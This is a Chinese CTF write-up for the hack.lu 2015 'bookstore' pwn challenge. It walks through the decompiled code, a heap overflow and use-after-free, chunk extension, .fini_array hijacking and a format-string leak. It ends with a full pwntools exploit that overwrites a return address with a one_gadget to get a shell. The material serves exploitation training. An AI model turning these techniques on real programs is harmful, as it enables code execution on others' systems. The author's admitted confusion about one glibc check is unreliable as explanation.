CTF-PWN-堆-【chunk extend/overlapping-2】(hack.lu ctf 2015 bookstore)

news2024/11/19 7:49:00

文章目录

  • hack.lu ctf 2015 bookstore
    • 检查
    • IDA源码
      • main函数
      • edit_note
      • delete_note
      • submit
    • .fini_array段劫持(回到main函数的方法)
    • 思路
    • python格式化字符串
    • 简化思路:
  • exp

佛系getshell
常规getshell

hack.lu ctf 2015 bookstore

检查

got表可写,没有地址随机化(PIE)
在这里插入图片描述

IDA源码

C 库函数 char *gets(char *str) 从标准输入 stdin 读取一行,并把它存储在 str 所指向的字符串中。当读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。

C 库函数 int puts(const char *str) 把一个字符串写入到标准输出 stdout,直到空字符,但不包括空字符。换行符会被追加到输出中。

main函数

signed __int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-BCh]
  char *v5; // [rsp+8h] [rbp-B8h]
  char *first_order; // [rsp+18h] [rbp-A8h]
  char *second_order; // [rsp+20h] [rbp-A0h]
  char *dest; // [rsp+28h] [rbp-98h]
  char s[136]; // [rsp+30h] [rbp-90h] BYREF
  unsigned __int64 v10; // [rsp+B8h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  first_order = (char *)malloc(0x80uLL);
  second_order = (char *)malloc(0x80uLL);
  dest = (char *)malloc(0x80uLL);
  if ( !first_order || !second_order || !dest )
  {
    fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
    return 1LL;
  }
  v4 = 0;
  puts(
    " _____          _   _                 _          _                   _ \n"
    "/__   \\_____  _| |_| |__   ___   ___ | | __  ___| |_ ___  _ __ ___  / \\\n"
    "  / /\\/ _ \\ \\/ / __| '_ \\ / _ \\ / _ \\| |/ / / __| __/ _ \\| '__/ _ \\/  /\n"
    " / / |  __/>  <| |_| |_) | (_) | (_) |   <  \\__ \\ || (_) | | |  __/\\_/ \n"
    " \\/   \\___/_/\\_\\\\__|_.__/ \\___/ \\___/|_|\\_\\ |___/\\__\\___/|_|  \\___\\/   \n"
    "Crappiest and most expensive books for your college education!\n"
    "\n"
    "We can order books for you in case they're not in stock.\n"
    "Max. two orders allowed!\n");
LABEL_14:
  while ( !v4 )
  {
    puts("1: Edit order 1");
    puts("2: Edit order 2");
    puts("3: Delete order 1");
    puts("4: Delete order 2");
    puts("5: Submit");
    fgets(s, 128, stdin);
    switch ( s[0] )
    {
      case '1':
        puts("Enter first order:");
        edit_order(first_order);
        strcpy(dest, "Your order is submitted!\n");
        goto LABEL_14;
      case '2':
        puts("Enter second order:");
        edit_order(second_order);
        strcpy(dest, "Your order is submitted!\n");
        goto LABEL_14;
      case '3':
        delete_order(first_order);
        goto LABEL_14;
      case '4':
        delete_order(second_order);
        goto LABEL_14;
      case '5':
        v5 = (char *)malloc(0x140uLL);
        if ( !v5 )
        {
          fwrite("Something failed!\n", 1uLL, 0x12uLL, stderr);
          return 1LL;
        }
        submit(v5, first_order, second_order);
        v4 = 1;
        break;
      default:
        goto LABEL_14;
    }
  }
  printf("%s", v5);
  printf(dest);
  return 0LL;
  
}

功能选择前就已经先创建三个大小为0x80的堆了(对于chunk的size为0x90),第一个chunk是order1的内容,第二个chunk是order2的内容,第三个chunk是dest的内容(这个存储字符串的),然后根据输入对应其功能函数,对应功能5的函数会创建一个0x140的堆(对于chunk的size为0x150),然后把之前函数定义的两个order的内容组合再加一个Your order is submitted!\n的字符串

edit_note

unsigned __int64 __fastcall edit_order(char *a1)
{
  int idx; // eax
  int v3; // [rsp+10h] [rbp-10h]
  int cnt; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v3 = 0;
  cnt = 0;
  while ( v3 != '\n' )
  {
    v3 = fgetc(stdin);
    idx = cnt++;
    a1[idx] = v3;
  }
  a1[cnt - 1] = 0;
  return __readfsqword(0x28u) ^ v5;
}

没有限制的输入长度,可以一直输入直到有换行符,并将换行符改为0

delete_note

unsigned __int64 __fastcall delete_order(void *a1)
{
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  free(a1);
  return __readfsqword(0x28u) ^ v2;
}

直接free但是没有清空,存在use after free

submit

unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{
  size_t v3; // rax
  size_t v4; // rax
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  strcpy(all, "Order 1: ");
  v3 = strlen(order1);
  strncat(all, order1, v3);
  strcat(all, "\nOrder 2: ");
  v4 = strlen(order2);
  strncat(all, order2, v4);
  *(_WORD *)&all[strlen(all)] = '\n';
  return __readfsqword(0x28u) ^ v7;
}

提交,此时将各个order的字符串和使用功能1或2时就已经赋值到dest里的字符串内容组合,再赋值到dest

.fini_array段劫持(回到main函数的方法)

.fini_array段劫持资料参考

大多数可执行文件是通过链接 libc 来进行编译的,因此 gcc 会将 glibc 初始化代码放入编译好的可执行文件和共享库中。 .init_array和 .fini_array 节(早期版本被称为 .ctors和 .dtors )中存放了指向初始化代码和终止代码的函数指针。 .init_array 函数指针会在 main() 函数调用之前触发。这就意味着,可以通过重写某个指向正确地址的指针来将控制流指向病毒或者寄生代码。 .fini_array 函数指针在 main() 函数执行完之后才被触发,在某些场景下这一点会非常有用。例如,特定的堆溢出漏洞(如曾经的 Once upon a free())会允许攻击者在任意位置写4个字节,攻击者通常会使用一个指向 shellcode 地址的函数指针来重写.fini_array 函数指针。对于大多数病毒或者恶意软件作者来说, .init_array 函数指针是最常被攻击的目标,因为它通常可以使得寄生代码在程序的其他部分执行之前就能够先运行。

构造函数(constructors)和析构函数(destructors)。程序员应当使用类似下面的方式来指定这些属性:

带有”构造函数”属性的函数将在main()函数之前被执行,而声明为”析构函数”属性的函数则将在after main()退出时执行。

#include <stdio.h>
#include <stdlib.h>

static void start(void) __attribute__ ((constructor));
static void stop(void) __attribute__ ((destructor));

int main(int argc, char *argv[])
{
    printf("start == %p\n", start);
    printf("stop == %p\n", stop);
    return 0;
}

void start(void)
{
    printf("hello world!\n");
}

void stop(void)
{
    printf("goodbye world!\n");
}

在这里插入图片描述
在gdb中利用readelf查看对应的.ini_array段和.fini_array段,以及存储的函数指针
在这里插入图片描述
分析一下结果
.init_array存的 0x1160是 frame_dummy函数地址(ida里面可查看) 0x11bf,是自己定义的start函数的地址,也就是说main函数开始之前会先执行 frame_dummy函数和start函数

.fini_array存的 0x1120是 __do_global_dtors_aux函数地址(ida里面可查看) 0x11d9,是自己定义的stop函数的地址,也就是说main函数结束之后会执行 __do_global_dtors_aux函数和stop函数

假设此时取消定义的属性

#include <stdio.h>
#include <stdlib.h>

static void start(void) ;
static void stop(void) ;

int main(int argc, char *argv[])
{
    printf("start == %p\n", start);
    printf("stop == %p\n", stop);
    return 0;
}

void start(void)
{
    printf("hello world!\n");
}

void stop(void)
{
    printf("goodbye world!\n");
}

此时.ini_array和.fini_array都只有一个函数指针,.ini_array是 frame_dummy函数地址(ida里面可查看),fini_array是 __do_global_dtors_aux函数地址(ida里面可查看)
在这里插入图片描述

思路

明显溢出,而且长度任意,那么可以修改其他chunk的header和内容
如图,利用editor 2时写入0x80个字节覆盖满chunk2,多余的内容覆盖到chunk3的header处从而修改
在这里插入图片描述
但是我们先要得到libc地址,那么得调用输出函数才行,这里可以修改got表从而调用到想用的函数,而且还需要修改其参数,那么首先要有根据指针修改其内容的函数,先要修改指针为got地址,然后才能修改其got表,但指针没办法修改,堆指针在栈上。所以只能找其他办法。

发现有个格式化字符串漏洞,但是在循环外,也就必须submit后才会执行该函数。又因为editor修改会在dest的位置复制一个字符串,所以当溢出设置格式化字符串时要提前空出这个后面要复制的字符串的长度。然后才是格式化字符串。但此时发现优于strcpy时会将空字符也复制进入,所以导致后面的内容无效,所以此方法还是不行。还得是再次找到机会重写dest

此时需要利用到chunk extend方法了
先free第二个堆,再修改第一个堆溢出从而修改第二个堆的header,然后调用submit使得malloc。当然也可以先修改第一个堆溢出修改第二个堆的header,然后free第二个堆,然后调用submit使得malloc
这样能够submit得到的堆是第二个堆,并且其大小覆盖到了dest这个堆,从而可以修改格式化字符串

free之前对chunk做各种check,总而言之就是不能double free和通过size计算的下一个chunk的得确实是一个malloc得到的chunk,那malloc时,会对该unsortedbin中的chunk的前后做合并尝试,首先通过prev_inuse来决定是否先前合并,如果为1即可不合并,同样,如果下一个chunk正在被使用的话,就没有向后合并的操作了(检查下一个chunk的下一个chunk的prev_inuse位)

所以此时溢出的prev_size大小为0也不影响,如果先free的话,这些free前的检查都不用考虑,只需如何修改使得malloc得到0x140的堆为第二个chunk,但如果是先修改再free,此时面对的各个检查比较繁琐,还需构造下一个chunk,所以采用先free再修改,此时对应的从unsortedbin的remalloc

if (size == nb)
{
    set_inuse_bit_at_offset (victim, size);
    if (av != &main_arena)
        victim->size |= NON_MAIN_ARENA;
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
# define check_malloced_chunk(A, P, N)   do_check_malloced_chunk (A, P, N)
static void
do_check_malloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
  /* same as recycled case ... */
  do_check_remalloced_chunk (av, p, s);

  /*
     ... plus,  must obey implementation invariant that prev_inuse is
     always true of any allocated chunk; i.e., that each allocated
     chunk borders either a previously allocated and still in-use
     chunk, or the base of its memory arena. This is ensured
     by making all allocations from the `lowest' part of any found
     chunk.  This does not necessarily hold however for chunks
     recycled via fastbins.
   */

  assert (prev_inuse (p));
}
static void
do_check_remalloced_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T s)
{
  INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);

  if (!chunk_is_mmapped (p))
    {
      assert (av == arena_for_chunk (p));
      if (chunk_non_main_arena (p))
        assert (av != &main_arena);
      else
        assert (av == &main_arena);
    }

  do_check_inuse_chunk (av, p);

  /* Legal size ... */
  assert ((sz & MALLOC_ALIGN_MASK) == 0);
  assert ((unsigned long) (sz) >= MINSIZE);
  /* ... and alignment */
  assert (aligned_OK (chunk2mem (p)));
  /* chunk is less than MINSIZE more than request */
  assert ((long) (sz) - (long) (s) >= 0);
  assert ((long) (sz) - (long) (s + MINSIZE) < 0);
}

/*
   Properties of nonrecycled chunks at the point they are malloced
 */



static void
do_check_inuse_chunk (mstate av, mchunkptr p)
{
  mchunkptr next;

  do_check_chunk (av, p);

  if (chunk_is_mmapped (p))
    return; /* mmapped chunks have no next/prev */

  /* Check whether it claims to be in use ... */
  assert (inuse (p));

  next = next_chunk (p);

  /* ... and is surrounded by OK chunks.
     Since more things can be checked with free chunks than inuse ones,
     if an inuse chunk borders them and debug is on, it's worth doing them.
   */
  if (!prev_inuse (p))
    {
      /* Note that we cannot even look at prev unless it is not inuse */
      mchunkptr prv = prev_chunk (p);
      assert (next_chunk (prv) == p);
      do_check_free_chunk (av, prv);
    }

  if (next == av->top)
    {
      assert (prev_inuse (next));
      assert (chunksize (next) >= MINSIZE);
    }
  else if (!inuse (next))
    do_check_free_chunk (av, next);                       这个检查应该使得无法利用的,不知道为啥可以利用成功
}

可以发现下一个chunk的inuse位为0
下一个chunk应该是不能通过do_check_free_chunk (av, next);
不知道为啥
在这里插入图片描述




static void
do_check_chunk (mstate av, mchunkptr p)
{
  unsigned long sz = chunksize (p);
  /* min and max possible addresses assuming contiguous allocation */
  char *max_address = (char *) (av->top) + chunksize (av->top);
  char *min_address = max_address - av->system_mem;

  if (!chunk_is_mmapped (p))
    {
      /* Has legal address ... */
      if (p != av->top)
        {
          if (contiguous (av))
            {
              assert (((char *) p) >= min_address);
              assert (((char *) p + sz) <= ((char *) (av->top)));
            }
        }
      else
        {
          /* top size is always at least MINSIZE */
          assert ((unsigned long) (sz) >= MINSIZE);
          /* top predecessor always marked inuse */
          assert (prev_inuse (p));
        }
    }
  else
    {
      /* address is outside main heap  */
      if (contiguous (av) && av->top != initial_top (av))
        {
          assert (((char *) p) < min_address || ((char *) p) >= max_address);
        }
      /* chunk is page-aligned */
      assert (((p->prev_size + sz) & (GLRO (dl_pagesize) - 1)) == 0);
      /* mem is aligned */
      assert (aligned_OK (chunk2mem (p)));
    }
}

static void
do_check_free_chunk (mstate av, mchunkptr p)
{
  INTERNAL_SIZE_T sz = p->size & ~(PREV_INUSE | NON_MAIN_ARENA);
  mchunkptr next = chunk_at_offset (p, sz);

  do_check_chunk (av, p);

  /* Chunk must claim to be free ... */
  assert (!inuse (p));
  assert (!chunk_is_mmapped (p));

  /* Unless a special marker, must have OK fields */
  if ((unsigned long) (sz) >= MINSIZE)
    {
      assert ((sz & MALLOC_ALIGN_MASK) == 0);
      assert (aligned_OK (chunk2mem (p)));
      /* ... matching footer field */
      assert (next->prev_size == sz);
      /* ... and is fully consolidated */
      assert (prev_inuse (p));
      assert (next == av->top || inuse (next));

      /* ... and has minimally sane links */
      assert (p->fd->bk == p);
      assert (p->bk->fd == p);
    }
  else /* markers are always of size SIZE_SZ */
    assert (sz == SIZE_SZ);
}

格式化字符串是啥呢

首先我们要知道我们第一次格式化字符串漏洞执行时需要泄露函数地址从而得到基地址,但如果要根据基地址修改这个函数got表的内容得需要下一次格式化字符串漏洞。所以还需要执行一次格式化字符串漏洞
这里利用修改.fini_array地址处的函数使得函数还能执行main函数一次

程序退出后会执行.fini_array地址处的函数,不过只能利用一次。

但由于只能利用一次(因为执行完.fini_array`的函数就退出了),但修改函数got表的内容后还需要执行该函数才行,而此时修改函数got表内容已经是跳出循环了,所以我们还需要尝试修改返回地址。要想返回地址,可以提前在栈上准备好数据,然后利用printf格式化字符串漏洞的写入功能,但需要提前得到返回地址

那如何得到返回地址呢?只能利用第一次printf的格式化字符串漏洞了,返回地址在栈上的位置是随机的,所以我们需要找一个存储与返回地址有固定偏移的地址的栈地址,可以通过泄露该栈地址的内容然后通过偏移得到第一次main函数返回地址在栈上的地址

注意此时需要得到的返回地址为第二次调用main函数的,所以还得需要偏移一次,这个可以通过程序从某一行执行到某一行,它的栈顶的变化是一定的。所以我们也可以通过main函数的要执行ret指令时的栈顶和开始执行第二次main函数的ret指令的栈顶的偏移是固定的(因为每次这样执行即执行main函数后会执行.fini_array的main函数,两个ret之间执行的代码一样,所以栈顶的变化也一样)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

python格式化字符串

Python2.6 开始,新增了一种格式化字符串的函数 str.format(),它增强了字符串格式化的功能。

基本语法是通过 {} 和 : 来代替以前的 % 。

format 函数可以接受不限个参数,位置可以不按顺序。

>>>"{} {}".format("hello", "world")    # 不设置指定位置,按默认顺序
'hello world'
 
>>> "{0} {1}".format("hello", "world")  # 设置指定位置
'hello world'
 
>>> "{1} {0} {1}".format("hello", "world")  # 设置指定位置
'world hello world'

简化思路:

1.首先利用写入时的溢出将下一位下一个chunk的size位修改,同时预备好参数/bin/sh(在在调用free的参数所指向的位置)
2.然后利用free后再次malloc得到实现extend (注意隐藏的malloc顺序和free顺序)
3.然后将freegot表中的值 覆盖将会进行 取指针对应内容的 某指针
4.首先打印,此时会输出free got表中的值(即存储free函数地址变量地址)
5.利用got地址-libc.symbols[‘free’]得到libc基址
6.最后利用基址+libc.symbols[‘system’](偏移)得到system地址
7.最后修改got表对应的内容为system的地址
8最后调用free 某参数即可getshell

exp

from pwn import *
 
p = process('./books')
context.log_level = 'debug'
elf = ELF('./books')
libc = ELF('libc.so')
 
def edit1(content) :
    sleep(0.1)
    p.sendline('1')
    p.recvuntil('Enter first order:\n')
    p.sendline(content)
 
def edit2(content) :
    sleep(0.1)
    p.sendline('2')
    p.recvuntil('Enter second order:\n')
    p.sendline(content)
 
def delete1() :
    sleep(0.1)
    p.sendline('3')
 
def delete2() :
    sleep(0.1)
    p.sendline('4')
 
def submit() :
    sleep(0.1)
    p.sendline('5')
 
free_got = elf.got['free']
fini_array = 0x6011B8
main_addr = 0x400A39
 
delete2()
 
payload = "%"+str(2617)+"c%13$hn"  + '.%31$p' + ',%28$p'
payload += 'A'*(0x74-len(payload))
payload += p8(0x0)*(0x88-len(payload))
payload += p64(0x151)
edit1(payload)
 
payload2 = '5'+p8(0x0)*7 + p64(fini_array)
p.sendline(payload2)
 
#leak --> libc_base
p.recvuntil('\x2e')
p.recvuntil('\x2e')
p.recvuntil('\x2e')
data = p.recv(14)
p.recvuntil(',')
ret_addr = p.recv(14)
data = int(data,16) - 240
ret_addr = int(ret_addr,16) + 0x28 - 0x210
libc_base = data - libc.symbols['__libc_start_main']
log.success('ret_addr :'+hex(ret_addr))
 
#repeat --> change ret_addr --> system_addr(one_gadget)
one_shot = libc_base + 0x45216
print hex(one_shot)
one_shot1 = '0x'+str(hex(one_shot))[-2:]
one_shot2 = '0x'+str(hex(one_shot))[-6:-2]
print one_shot1,one_shot2
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)
 
delete2()
 
payload3 = "%" + str(one_shot1) + "d%13$hhn"
payload3 += '%' + str(one_shot2-one_shot1) + 'd%14$hn'
payload3 += 'A'*(0x74-len(payload3))
payload3 += p8(0x0)*(0x88-len(payload3))
payload3 += p64(0x151)
edit1(payload3)
 
payload4 = '5' + p8(0x0)*7 + p64(ret_addr) + p64(ret_addr+1)
p.sendline(payload4)
 
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1417439.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

1、缓存击穿背后的问题

当面试官问&#xff1a;你知道什么是缓存击穿吗&#xff0c;你们是如何解决的&#xff1f; 首先我们要了解什么是缓存击穿&#xff1f;以及缓存击穿会引发什么问题&#xff1f; 缓存击穿就是redis中的热点数据过期&#xff0c;缓存失效&#xff0c;导致大量的请求直接打到数据…

【c++】高精度算法(洛谷刷题2024)玩具谜题详解(含图解)

系列文章目录 第三题&#xff1a;玩具谜题 视频讲解&#xff1a;http://【洛谷题单 - 算法 - 高精度】https://www.bilibili.com/video/BV1Ym4y1s7BD?vd_source66a11ab493493f42b08b31246a932bbb 文章目录 目录 系列文章目录 文章目录 前言 一、题目分析以及思考 二、代码…

伊恩·斯图尔特《改变世界的17个方程》相对论笔记

它告诉我们什么&#xff1f; 物质包含的能量等于其质量乘以光速的平方。 为什么重要&#xff1f; 光的速度很快&#xff0c;它的平方绝对是一个巨大的数。1千克的物质释放出的能量相当于史上最大的核武器爆炸所释放能量的约40%。一系列相关的方程改变了我们对空间、时间、物质和…

C/C++ - 函数进阶(C++)

目录 默认参数 函数重载 内联函数 函数模板 递归函数 回调函数 默认参数 定义 默认参数是在函数声明或定义中指定的具有默认值的函数参数。默认参数允许在调用函数时可以省略对应的参数&#xff0c;使用默认值进行替代。 使用 默认参数可以用于全局函数和成员函数。默认参…

WebRTC 入门:开启实时通信的新篇章(上)

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…

使用电脑时突然遇到“mfc140.dll文件丢失”的问题都有什么解决办法

当你在使用电脑时突然遇到“mfc140.dll文件丢失”的问题时&#xff0c;可能会感到困惑和苦恼。一旦出现这样的问题&#xff0c;缺少这个文件可能导致一些应用程序无法正常启动&#xff0c;影响你的工作和娱乐体验。其实这个问题是可以解决的&#xff0c;接下来我们将介绍一些可…

部署个人知识库管理软件 MrDoc详细教程

效果 一、拉取 MrDoc 代码 进入目录&#xff1a; cd /opt开源版&#xff1a; git clone https://gitee.com/zmister/MrDoc.git专业版&#xff1a; git clone https://{用户名}:{密码}git.mrdoc.pro/MrDoc/MrDocPro.git二、拉取 Docker 镜像 docker pull zmister/mrdoc:v7三…

yarn安装第三方插件包,提示报错,yarn的镜像源已经过期了,因为yarn和npm用的是淘宝的镜像源,淘宝的镜像源已经过期了,要设置最新的淘宝镜像源。

淘宝最新镜像源切换_淘宝镜像-CSDN博客 查看yarn用的什么镜像源 yarn config get registry 查看具体的信息 yarn config list 设置淘宝的最新镜像源&#xff0c;yarn和npm都要设置最新的淘宝镜像源&#xff0c;不然还是报错 npm config set registry https://registry.npmm…

211毕业38岁产品经理被裁瞒着妻子送外卖

估计很多人都看到这个新闻了&#xff0c;微博和知乎也都上了热搜榜。 有人说&#xff0c;这一看就是摆拍的&#xff0c;谁没事在家里装个摄像头啊&#xff0c;这两人演技也还差点意思。 也有人说&#xff0c;大丈夫能屈能伸。虽然211毕业在互联网大厂工作&#xff0c;但是被裁了…

代码随想录算法训练营Day42|0-1背包理论基础、416. 分割等和子集

目录 0-1背包理论基础 0-1背包问题 二维dp数组01背包 算法实现 一维dp数组01背包 ​编辑算法实现 416. 分割等和子集 前言 思路 算法实现 总结 0-1背包理论基础 0-1背包问题 题目链接https://kamacoder.com/problempage.php?pid1046 有n件物品…

一、Kotlin 开发环境搭建

1. Kotlin 官网 https://kotlinlang.org/ 2. Kotlin 命令行工具下载 下载网址&#xff1a; https://github.com/JetBrains/kotlin/releases/tag/v1.3.50 切换其他版本&#xff0c;改下版本号即可 下载 kotlin-compiler-1.3.50.zip 文件即可 解压 kotlin-compiler-1.3.50.zip…

【智能家居入门之环境信息监测】(STM32、ONENET云平台、微信小程序、HTTP协议)

作为入门本篇只实现微信小程序接收下位机上传的数据&#xff0c;之后会持续发布如下项目&#xff1a;①可以实现微信小程序控制下位机动作&#xff0c;真正意义上的智能家居&#xff1b;②将网络通讯协议换成MQTT协议再实现上述功能&#xff0c;此时的服务器也不再是ONENET&…

回归预测 | MATLAB实现PSO-GRNN粒子群优化广义回归神经网络多输入单输出预测(含优化前后预测可视化)

回归预测 | MATLAB实现PSO-GRNN粒子群优化广义回归神经网络多输入单输出预测 目录 回归预测 | MATLAB实现PSO-GRNN粒子群优化广义回归神经网络多输入单输出预测预测效果基本介绍程序设计参考资料预测效果 <

Cesium.js实现显示点位对应的自定义信息弹窗(数据面板)

零、相关技术选型&#xff1a; Vue2 Vuecli5 Cesium.js 天地图 一、需求说明 在使用2D地图&#xff08;天地图、高德地图等&#xff09;基于官方文档可以实现下面需求&#xff1a; 实现添加点位&#xff0c;并在点位附近显示对应的信息弹窗。 一般信息弹窗的显示方式有两种&am…

Qt线程高级应用

一般我们在用Qt开发时&#xff0c;把耗时操作放在线程中执行&#xff0c;避免卡界面&#xff0c;Qt的线程使用有两种方式&#xff0c;一种是继承QThread&#xff0c;一种是moveToThread的方式&#xff0c;以及QtConcurrent方式 首先我们来看第一种&#xff1a; #ifndef WORKER…

matlab appdesigner系列-仪器仪表3-旋钮

旋钮&#xff0c;同过旋转显示特定的值 示例&#xff1a;模拟收音机调频 操作步骤&#xff1a; 1&#xff09;将旋钮、标签按钮拖拽到画布上&#xff0c;将标签文字修改为&#xff1a;欢迎收听&#xff0c;并将旋钮其数值范围改为90-107 2&#xff09;设置旋钮的回调函数 代…

实现屏蔽 Ctrl + Alt + Del 、Ctrl + Shift + Esc 等热键(一)

前面几篇我们都讲解了很多有关 winlogon 挂钩的事情。拦截系统热键的非驱动方式是比较复杂的。本节就复现《禁止CtrlAltDel、WinL等任意系统热键》一文中的方法四&#xff0c;实现拦截 Ctrl Alt Del 等热键。其实通过 heiheiabcd 给出的方法从 WMsgKMessageHandler 入手并不是…

数字图像处理(实践篇)三十二 OpenCV-Python比较两张图片的差异

目录 一 方案 二 实践 ​通过计算两张图像像素值的均方误差(MSE)来比较两张图像。差异大的两张图片具有较大的均方差值,相反,相似的图片间则具有较小的均方差值。需要注意的是。待比较的两张图像要具有相同的高度、宽度和通道数。 一 方案 ①导入依赖库 import cv2 import…

【项目管理】CMMI-管理性能与度量

管理性能与度量 (Managing Performance and Measurement, MPM)的目的在于开发和维持度量能力来管理开发过程性能&#xff0c;以实现公司业务目标&#xff0c;更直接来说&#xff0c;将管理和改进工作集中在成本、进度表和质量性能上&#xff0c;最大限度地提高业务投资回报。 1…

vscode copilot怎么去掉提示代码(ghost text or incline completion)

原因&#xff1a;最近在刷题&#xff0c;被这个提示烦死了&#xff0c;记录一下怎么关掉&#xff0c;防止将来需要开启找不到了XD. 1.直接ctrlshiftp召唤设置 2.输入preferences: open usr settings找到如图第一个 3.去掉这个方框的勾选 ps直接在extension里disable不行呢 不…